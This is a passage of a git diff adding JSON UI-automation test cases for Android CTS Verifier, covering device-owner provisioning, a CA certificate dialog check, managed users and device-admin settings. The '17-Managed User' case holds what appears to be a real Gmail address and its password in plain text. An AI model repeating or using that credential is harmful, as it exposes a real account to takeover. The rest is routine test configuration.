1\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"35a60d30-7678-44fe-af81-306d28d3d5b7\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn Auto-rotate on","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.275000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d348b7ed-2aae-47cb-b900-44247d03c629 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d348b7ed-2aae-47cb-b900-44247d03c629
new file mode 100644
index 0000000..5f0cb32
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d348b7ed-2aae-47cb-b900-44247d03c629
@@ -0,0 +1 @@
+{"uuid":"d348b7ed-2aae-47cb-b900-44247d03c629","details":"{\"type\":\"CompoundAction\",\"name\":\"Enter PIN or Password \\\"1234\\\"\",\"actionId\":\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"InputAction\",\"name\":\"INPUT number \\\"1234\\\"\",\"actionId\":\"65501580-e4ed-417b-a4e8-7c6b2dbe14e2\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":0,\"inputString\":\"1234\",\"isSingleChar\":false}],\"childrenIdList\":[\"65501580-e4ed-417b-a4e8-7c6b2dbe14e2\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Enter PIN or Password \"1234\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.035000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d36bec86-b515-4a70-9f5e-2dfcce3d0306 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d36bec86-b515-4a70-9f5e-2dfcce3d0306
new file mode 100644
index 0000000..dad79fc
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d36bec86-b515-4a70-9f5e-2dfcce3d0306
@@ -0,0 +1 @@
+{"uuid":"d36bec86-b515-4a70-9f5e-2dfcce3d0306","details":"{\"type\":\"CompoundAction\",\"name\":\"test_CA Cert install via intent\",\"actionId\":\"d36bec86-b515-4a70-9f5e-2dfcce3d0306\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to CA Cert install via intent\",\"actionId\":\"54b96994-589c-4bcf-95de-e580c6063c41\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CA Cert install via intent\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"238d91b2-f224-4507-8264-7a8e0c607031\",\"displayText\":\"CA Cert install via intent\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"CA Cert install via intent\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":283.6666666666667,\"x2\":350.6666666666667,\"y2\":327.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.5,\"y\":307.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":87.5,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"238d91b2-f224-4507-8264-7a8e0c607031\",\"firstText\":\"CA Cert install via intent\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CA Cert install via intent\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":10.0,\"y1\":292.0,\"x2\":175.0,\"y2\":322.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, CA Cert install via intent\",\"actionId\":\"0fdcedbc-1c5f-4842-b5cf-cf87de0357d3\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CA Cert install via intent\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/run_test_button\",\"actionId\":\"de9f2901-0d31-41fc-b687-332d7f3bd106\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/run_test_button\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify a dialog show that CA Certificates can put their privacy at risk and must be installed via Setting\",\"actionId\":\"2495e8b4-393b-44bf-b6d1-fcff4eb0bbfd\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"This certificate from CTS Verifier must be installed in Settings. Only install CA certificates from organizations you trust.\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1a449e52-335c-487e-89da-730ab24e782e\",\"displayText\":\"This certificate from CTS Verifier must be installed in Settings. Only install CA certificates from organizations you trust.\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"06bf5f84-d932-4ace-9579-260f4567572d\",\"displayText\":\"This certificate from CTS Verifier must be installed in Settings. Only install CA certificates from organizations you trust.\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b9003c95-2095-4bbe-a7cb-3db6593c95c4\",\"displayText\":\"This certificate from CTS Verifier must be installed in Settings. Only install CA certificates from organizations you trust.\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/message\",\"text\":\"This certificate from CTS Verifier must be installed in Settings. Only install CA certificates from organizations you trust.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":358.0,\"x2\":336.0,\"y2\":412.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":5.5,\"y\":-1.8333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"This certificate from CTS Verifier must be installed in Settings. Only install CA certificates from organizations you trust.\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":358.0,\"x2\":336.0,\"y2\":412.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"This certificate from CTS Verifier must be installed in Settings. Only install CA certificates from organizations you trust.\"}],\"className\":\"android.widget.ScrollView\",\"resourceId\":\"android:id/scrollView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":24.0,\"y1\":358.0,\"x2\":336.0,\"y2\":412.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":174.5,\"y\":387.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":5.5,\"y\":-1.8333333333333712,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"b9003c95-2095-4bbe-a7cb-3db6593c95c4\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"This certificate from CTS Verifier must be installed in Settings. Only install CA certificates from organizations you trust.\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":34.0,\"y1\":361.0,\"x2\":315.0,\"y2\":413.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"2830ebac-80c7-43f1-bcb6-c9e984f81e68\",\"actionType\":\"INPUT_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"54b96994-589c-4bcf-95de-e580c6063c41\",\"0fdcedbc-1c5f-4842-b5cf-cf87de0357d3\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"de9f2901-0d31-41fc-b687-332d7f3bd106\",\"2495e8b4-393b-44bf-b6d1-fcff4eb0bbfd\",\"2830ebac-80c7-43f1-bcb6-c9e984f81e68\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_CA Cert install via intent","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.256000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d36c21f6-ffb6-4ae5-82d5-664ec268f648 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d36c21f6-ffb6-4ae5-82d5-664ec268f648
new file mode 100644
index 0000000..3a8491a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d36c21f6-ffb6-4ae5-82d5-664ec268f648
@@ -0,0 +1 @@
+{"uuid":"d36c21f6-ffb6-4ae5-82d5-664ec268f648","details":"{\"type\":\"CompoundAction\",\"name\":\"17-04-Disable keyguard\",\"actionId\":\"d36c21f6-ffb6-4ae5-82d5-664ec268f648\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"c131f309-79ae-48c8-a354-4410a90e97e4\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"17-04-Disable keyguard","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.200000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3945e10-840f-4cae-8f1a-39db0e4ac6cb b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3945e10-840f-4cae-8f1a-39db0e4ac6cb
new file mode 100644
index 0000000..4065c79
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3945e10-840f-4cae-8f1a-39db0e4ac6cb
@@ -0,0 +1 @@
+{"uuid":"d3945e10-840f-4cae-8f1a-39db0e4ac6cb","details":"{\"type\":\"CompoundAction\",\"name\":\"Switch the work profile location for different state\",\"actionId\":\"d3945e10-840f-4cae-8f1a-39db0e4ac6cb\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Switch the work profile location for different state\",\"actionId\":\"1656a1ed-45e9-4e9d-8e3d-29cd6c1176b6\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\n\\nd = Device.create_device_by_slot(0)\\n\\nd.text(\\\"Location for work profile\\\").right().resource_id(\\\"android:id/switch_widget\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"1656a1ed-45e9-4e9d-8e3d-29cd6c1176b6\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Switch the work profile location for different state","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.288000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3d29d0d-af3f-4124-bd80-755d201bbec0 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3d29d0d-af3f-4124-bd80-755d201bbec0
new file mode 100644
index 0000000..376c20c
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d3d29d0d-af3f-4124-bd80-755d201bbec0
@@ -0,0 +1 @@
+{"uuid":"d3d29d0d-af3f-4124-bd80-755d201bbec0","details":"{\"type\":\"CompoundAction\",\"name\":\"17-Managed User\",\"actionId\":\"d3d29d0d-af3f-4124-bd80-755d201bbec0\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Managed User\",\"actionId\":\"e27281ac-6cf0-464d-9d39-2f2e3feda9e5\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Managed User\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"16bcca19-b2f2-4328-a3e0-2f3222acc35b\",\"displayText\":\"Managed User\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Managed User\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":532.3333333333334,\"x2\":351.3333333333333,\"y2\":574.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":57.5,\"y\":550.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":122.5,\"y\":2.8333333333333712,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"16bcca19-b2f2-4328-a3e0-2f3222acc35b\",\"firstText\":\"Managed User\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Managed User\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":536.0,\"x2\":106.0,\"y2\":565.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Managed User\",\"actionId\":\"579edabd-322c-4d9c-a465-564cc482db68\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Managed User\"},{\"type\":\"WaitAction\",\"name\":\"WAIT for 20 secs to enter Managed User\",\"actionId\":\"80e58a45-6db4-4b9a-9c1d-1175551b911a\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":20000,\"createdBy\":\"riacheltseng\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 20 secs for back to CTS-V\",\"actionId\":\"4fdf535e-4f06-4284-8438-e199871ee6f0\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":20000,\"createdBy\":\"riacheltseng\"},{\"type\":\"InputAction\",\"name\":\"Overview Button\",\"actionId\":\"ff7a0fbb-361a-40fe-9c18-9cc3d4b0e8be\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":187,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"e27281ac-6cf0-464d-9d39-2f2e3feda9e5\",\"579edabd-322c-4d9c-a465-564cc482db68\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"80e58a45-6db4-4b9a-9c1d-1175551b911a\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"e690407d-25d7-42eb-9553-9f328ee32f0d\",\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"1133e24d-4564-4009-8872-280f93f6fb3e\",\"bb7fdd5f-0d61-4a6b-bd0f-589f5da59832\",\"0ec64b5f-e737-4075-9eb8-5de22223c304\",\"d36c21f6-ffb6-4ae5-82d5-664ec268f648\",\"03d55006-a23c-4f22-a56d-2d8de633cf3c\",\"5e0f41ed-e9c6-4d11-b3a2-815b415268db\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\",\"4fdf535e-4f06-4284-8438-e199871ee6f0\",\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"6c314101-5195-49ff-88e9-8f78cc8c697b\",\"ff7a0fbb-361a-40fe-9c18-9cc3d4b0e8be\",\"9b9343fa-a795-4169-883b-32dca700c4b6\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_Gmail_account=playinstallapk02@gmail.com,\\n$uicd_Gmail_account_password=@DoubleCare20,\"}}","name":"17-Managed User","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.197000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d52e2b4c-6bf6-4d93-af37-785ce2d74664 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d52e2b4c-6bf6-4d93-af37-785ce2d74664
new file mode 100644
index 0000000..09e2015
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d52e2b4c-6bf6-4d93-af37-785ce2d74664
@@ -0,0 +1 @@
+{"uuid":"d52e2b4c-6bf6-4d93-af37-785ce2d74664","details":"{\"type\":\"CompoundAction\",\"name\":\"01-Device owner provisioning\",\"actionId\":\"d52e2b4c-6bf6-4d93-af37-785ce2d74664\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Device owner provisioning\",\"actionId\":\"267e23e2-efcc-46c8-ac9a-35ebc5bcad3e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device owner provisioning\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Start provisioning\",\"actionId\":\"015030ca-5189-4b0f-a7a3-4487d633fe4a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Start provisioning\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify a warning dialog telling the device is already set up\",\"actionId\":\"189da650-ab28-4337-abbd-d073143771b4\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device is already set up\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b227ebd8-b653-486e-9f1a-7b7eebb96d50\",\"displayText\":\"Device is already set up\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"1ffd403f-4198-4a64-b76f-06a5b33ba336\",\"displayText\":\"Device is already set up\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/alertTitle\",\"text\":\"Device is already set up\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":44.25,\"y1\":315.75,\"x2\":315.75,\"y2\":339.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":40.0,\"y\":0.375,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Device is already set up\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/title_template\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":23.25,\"y1\":300.0,\"x2\":336.75,\"y2\":339.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":140.0,\"y\":327.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":40.0,\"y\":-7.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"1ffd403f-4198-4a64-b76f-06a5b33ba336\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device is already set up\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":39.0,\"y1\":316.0,\"x2\":241.0,\"y2\":338.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, OK button\",\"actionId\":\"5dfe7588-8313-4822-8a39-be6a68b4f220\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"7f12c16f-51be-4732-bf1b-ef4b55841a99\",\"267e23e2-efcc-46c8-ac9a-35ebc5bcad3e\",\"015030ca-5189-4b0f-a7a3-4487d633fe4a\",\"189da650-ab28-4337-abbd-d073143771b4\",\"5dfe7588-8313-4822-8a39-be6a68b4f220\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"01-Device owner provisioning","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.215000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d5c77251-9663-4eaa-b708-68a67fc8189f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d5c77251-9663-4eaa-b708-68a67fc8189f
new file mode 100644
index 0000000..48322da
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d5c77251-9663-4eaa-b708-68a67fc8189f
@@ -0,0 +1 @@
+{"uuid":"d5c77251-9663-4eaa-b708-68a67fc8189f","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if CTS Verfier admin exists and is activated and can't be disabled\",\"actionId\":\"d5c77251-9663-4eaa-b708-68a67fc8189f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Device admin apps\",\"actionId\":\"26087d8e-8a3c-4d5b-a7b1-be3d2d63a8a1\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device admin apps\"},{\"type\":\"PythonScriptAction\",\"name\":\"Click the enabled admin of CTS Verifier \",\"actionId\":\"3c2214b6-34bb-4ebb-874c-aec0ec48c598\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nif d.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist():\\n    d.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if \\\"deactivate this device admin app\\\" button is disabled\",\"actionId\":\"9d4a006c-b7bb-4530-90c8-df05c0b8c5b1\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.settings:id/action_button\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"26087d8e-8a3c-4d5b-a7b1-be3d2d63a8a1\",\"3c2214b6-34bb-4ebb-874c-aec0ec48c598\",\"9d4a006c-b7bb-4530-90c8-df05c0b8c5b1\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if CTS Verfier admin exists and is activated and can't be disabled","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.085000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d725d8a2-cb38-4a29-9857-a510943cf7fd b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d725d8a2-cb38-4a29-9857-a510943cf7fd
new file mode 100644
index 0000000..e26324e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d725d8a2-cb38-4a29-9857-a510943cf7fd
@@ -0,0 +1 @@
+{"uuid":"d725d8a2-cb38-4a29-9857-a510943cf7fd","details":"{\"type\":\"CompoundAction\",\"name\":\"Open CTS-V\",\"actionId\":\"d725d8a2-cb38-4a29-9857-a510943cf7fd\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Open CTS-V\",\"actionId\":\"e340af31-b288-49f2-836b-30208e2bb235\",\"actionType\":\"COMMAND_LINE_ACTION\",\"createdBy\":\"pololee\",\"commandLine\":\"shell am start -n com.android.cts.verifier/.CtsVerifierActivity\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"e340af31-b288-49f2-836b-30208e2bb235\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Open CTS-V","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.991000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d7cdb82c-060e-4a47-83c1-c1b9f6396683 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d7cdb82c-060e-4a47-83c1-c1b9f6396683
new file mode 100644
index 0000000..c8ce9ba
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/d7cdb82c-060e-4a47-83c1-c1b9f6396683
@@ -0,0 +1 @@
